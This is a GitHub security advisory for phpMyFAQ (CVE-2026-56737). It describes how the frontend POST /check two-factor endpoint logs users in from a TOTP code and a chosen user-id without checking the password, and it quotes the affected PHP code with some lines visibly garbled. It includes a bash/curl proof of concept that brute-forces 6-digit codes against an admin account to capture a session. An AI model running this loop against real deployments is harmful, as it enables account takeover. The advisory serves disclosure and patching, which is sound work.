GitHub Advisoryadvisory · Packagist
GHSA-8gpw-xvpf-hvx5 phpMyFAQ's two-factor authentication login bypasses the password factor
HIGH
Official page ↗
- Aliases
- CVE-2026-56737
- Ecosystem
- Packagist
- Packages
- thorsten/phpmyfaq, phpmyfaq/phpmyfaq
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-287
- Reviewed
- 2026-09-24
Affected packages
• Packagist thorsten/phpmyfaq: >= 3.2.0, < 4.1.6 → fixed in 4.1.6
• Packagist phpmyfaq/phpmyfaq: >= 3.2.0, < 4.1.6 → fixed in 4.1.6
Description
Summary
The public two-factor verification endpoint `POST /check` logs a user in based solely on a valid
6-digit TOTP token and a chosen `user-id`. It does not require — and is not bound to — a prior
successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker
can authenticate without knowing the password, reducing the account to a single factor (a 6-digit
code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an
authentication bypass of the primary credential for all 2FA-protected accounts, including administrators.
Details
`src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283`:
```php
[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
if ($this->currentUser->isLoggedIn()) {
return new RedirectResponse(url: './');
}
$token = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS);
$userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT);
if ($userId currentUserService->getUserById($userId); // loads attacker-chosen user
if (strlen((string) $token) === 6) {
$result = $this->twoFactor->validateToken($token, $userId);
if ($result) {
$this->currentUserService->twoFactorSuccess(); // full login, no password ever checked
return new RedirectResponse(url: './');
}
}
// ...
}
```
`twoFactorSuccess()` performs a complete session login (`src/phpMyFAQ/User/CurrentUser.php:239-247`):
```php
public function twoFactorSuccess(): bool
{
$this->setLoggedIn(true);
$this->updateSessionId(true);
$this->saveToSession();
$this->setSuccess(true);
return true;
}
```
There is no server-side state (such as a "password already verified for this user" flag) tying the
`/check` step to the password step. Compare the admin flow, which does it correctly via a
`2fa_pending_user_id` session value set only after the password is validated
(`src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262`) — proving the frontend
omission is a regression, not an intended design.
`validateToken()` (`src/phpMyFAQ/User/TwoFactor.php:87-101`) returns `false` when the user has no secret,
so this is *not* a universal bypass of all accounts — it specifically defeats the password factor of
every 2FA-enabled account:
```php
public function validateToken(string $token, int $userId): bool
{
if (strlen($token) !== 6 || $userId currentUser->getUserById($userId);
$secret = $this->currentUser->getUserData('secret');
if (!is_string($secret) || $secret === '') { return false; } // no 2FA -> false
return $this->twoFactorAuth->verifyCode($secret, $token); // 6-digit TOTP only
}
```
Because `/check` has no failed-attempt lockout and the per-account login throttle is disabled by default
(Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to
*strengthen* the password, becomes the *only* barrier and is independently guessable.
PoC
Pre-req: a target account (e.g. `admin`) has 2FA enabled (a common hardening choice). The attacker knows
or enumerates the numeric `user-id` (1 = first/admin account in default installs).
```bash
No password required. Submit user-id + a 6-digit TOTP guess to /check.
Iterate the token space; the session cookie returned on success is an authenticated session.
for code in $(seq -w 0 999999); do
curl -ks -c jar.txt -b jar.txt \
-X POST "https://target/check" \
--data-urlencode "user-id=1" \
--data-urlencode "token=$(printf '%06d' 10#$code)" \
-o /dev/null -w "%{http_code} %{redirect_url}\n" \
| grep -q './' && echo "[+] logged in with token $code" && break
done
A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used).
```
If the attacker already controls or has phished the victim's TOTP device, a single request authenticates
with no password at all.
Impact
Authentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password —
the primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout,
this enables full account takeover of users and administrators. Impacted: any deployment where users
enable two-factor authentication.
Related
Alias · CVE (1)
- CVE-2026-56737 phpMyFAQ is an open source FAQ web application. vulnerability
Weakness · CWE (1)
- CWE-287 Improper Authentication weakness
References
- https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8gpw-xvpf-hvx5 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-56737 advisory
- https://github.com/thorsten/phpMyFAQ/commit/410208b90f1d01534812ac5203d3e8d9c7bd591f web
- https://github.com/thorsten/phpMyFAQ/commit/5097dff341fb01e93e8561e7261b3ae657df715a web
- https://github.com/thorsten/phpMyFAQ/commit/6a69f6e2142fde722165c65b7e0a49f3176e87be web
- https://github.com/thorsten/phpMyFAQ package
- https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.6 web